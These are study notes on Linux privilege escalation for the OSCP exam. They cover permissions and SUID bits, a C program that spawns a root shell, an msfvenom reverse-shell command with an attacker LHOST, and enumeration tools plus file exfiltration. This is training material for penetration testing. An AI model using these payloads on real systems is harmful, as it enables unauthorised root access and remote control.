Disclaimer: This note is designed with the OSCP exam in mind, but it also attempts to cover a wide range of escalation techniques beyond what an OSCP student is expected to understand.

Understanding that privilege escalation is often highly complex, and new techniques are developed over time, this course is not intended to be "complete" guide to every privilege escalation technique.

When appropriate, the author (Tib3rius) will update the course materials to include new techniques which are considered to be valuable.

Privilege Escalation in Linux:

Our ultimate goal with privilege escalation in Linux is to gain a shell running as the root user.
Privilege escalation can be simple (eg; a kernel exploit) or require a lot of reconnaissance on the compromised system.

In a lot of cases, privilege escalation may not simply rely on a single misconfiguration, but may require you to think, and combine multiple misconfigurations.

> **All privilege escalations are effectively examples of access control violations.**
>
> Access control and user permission are intrinsically linked.

Understanding how Linux handles permissions is very important.

At a basic level, permissions in Linux are a relationship between users, groups, and files & directories.

- Users can belong to multiple groups.
- Groups can have multiple users.
- Every file and directory defines its permissions in terms of a user, a group, and "others" (all other users.)

Users:

- Users accounts are configured in the /etc/passwd file.
- User password hashes are stored in the /etc/shadow file.
- Users are identified by an integer user ID (UID)
- The "root" user account is a special type of account in Linux, which has an UID of 0 - and the system grants this user access to every file.

Groups:

- Groups are configured in the /etc/group file.
- Users have a primary group, and can have multiple secondary (or supplementary) groups.
- By default, a user's primary group has the same name as their user account.

Files & Directories:

- All files and directories have a single owner and a group.
- Permissions are defined in terms of read, write and execute operations. (RWX)

- There are three sets of permissions, one for the owner, one for the group, and one for all "other" users (can also be referred to as "world")
- Only the owner can change permissions

File Permissions:

- Read - when set, the file contents can be read
- Write - when set, the file contents can be modified
- Execute - when set, the file can be executed (as a process)

Directory Permissions:
Directory permission differs from file (slightly more complicated)

- Read - when set, the directory contents can be listed
- Write - when set, files and subdirectories can be created in the directory
- Execute - when set, the directory can be entered. Without this permission, neither the read nor write permissions will work.

Special Permissions: Think of GTFObins
setuid (SUID) bit:
- When set, files will get executed with the privileges of the file owner
setgid (SGID) bit:
- When set on a file, the file will get executed with the privileges of the file group
- When set on a directory, files created within that directory will inherit the group of the directory itself

Viewing Permissions:
`ls -l` command can be used to view permissions
The first 10 characters indicate the permissions set on the file or directory.
The first character simply indicates the type (`-` for file, `d` for directory)

> **The remaining nine characters represent the 3 sets of permissions:**
>
> (owner, group, others)

> **Each set contains 3 characters, indicating rwx permissions**
>
> SUID/GUID permissions are represented by an `s` in the execute position

Real, Effective & Saved UID / GID:

- A user's real ID is defined in /etc/passwd
- Effective ID is used in most access control decisions - commands such as `whoami`
- Saved ID is used to ensure SUID processes can temporarily switch user's effective ID back to their real ID and vice versa without losing track of the original effective ID

> **`id` - prints real and effective user / group IDs**

> **`cat /proc/$$/status | grep "[UG]id"` - prints real, effective, saved, file system UID, GID of the current process**

Spawning Root Shells

There are multiple ways of achieving root shells, although end result is always the same
(executing `/bin/sh` or `/bin/bash`)

"rootbash" SUID

Creating a copy of `/bin/bash` executable file and rename it "rootbash"

- Condition #1 - Make sure it is owned by root user
- Condition #2 - Has the SUID bit set

> **A root shell in this method can be spawned by simply executing the rootbash file with the `-p` command line option**
>
> The benefit of this method is that its persistent (once you run the exploit, rootbash can be used multiple times)
>
> https://gtfobins.github.io/gtfobins/bash/

Custom Executable

There may be instances where some root processes executes another process which you can control. In these cases, the following C code, will spawn a Bash shell running as root once compiled.

```
int main() {
    setuid(0);
    system("/bin/bash -p");
}
```

Compile using:
`$ gcc -o <name> <filename.c>`

msfvenom

Alternatively, if a reverse shell is preferred, msfvenom can be used to generate an executable (.elf file):

`$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT<PORT> -f elf > shell.elf`

This reverse shell can be caught using netcat, or Metasploit's own multi/handler.

Native Reverse Shells: rsg (Reverse Shell Generator):

There are multiple ways to spawn reverse shells natively on many Linux distributions.

- A good tool for suggestion these is: https://github.com/mthbernardes/rsg
- All can be caught using a simple netcat listener

Linux Privilege Tools:

Tools allows for automation of reconnaissance that can identify potential privilege escalations.
While always important to understand what tools are doing, they are invaluable in a time-limited setting, such as OSCP exam.

Linux Smart Enumeration:

Linux Smart Enumeration (`lse.sh`) - in addition to being a Bash script (which helps if Python is not installed on victim), it has multiple levels which gradually reveal more information

https://github.com/diego-treitos/linux-smart-enumeration

- By default - it will only show most common/interesting findings
- With the `-l 1 -i` command - Much more information without prompting of password
- With the `-l 2 -i` command - Comprehensive enumeration without prompting of password

LinEnum:
Advanced Bash script which extracts a large amount of useful information from the target system. Can also copy interesting files for export, and search for files containing a keyword (eg; password)

- `-h` - help
- `-k` - searching for a keyword
- `mkdir` for 'export' directory and `-e` to export
- `-t` include thorough tests

https://github.com/rebootuser/LinEnum

> **Best situation of using this tool is to exfiltrate the files in .zip back to kali for further analysis.**

Other tools worth mentioning:

- https://github.com/linted/linuxprivchecker
- https://github.com/AlessandroZ/BeRoot
- https://pentestmonkey.net/tools/audit/unix-privesc-check

Next - Tib3rius' Linux Privilege Escalation - Techniques (Harvested in 2025)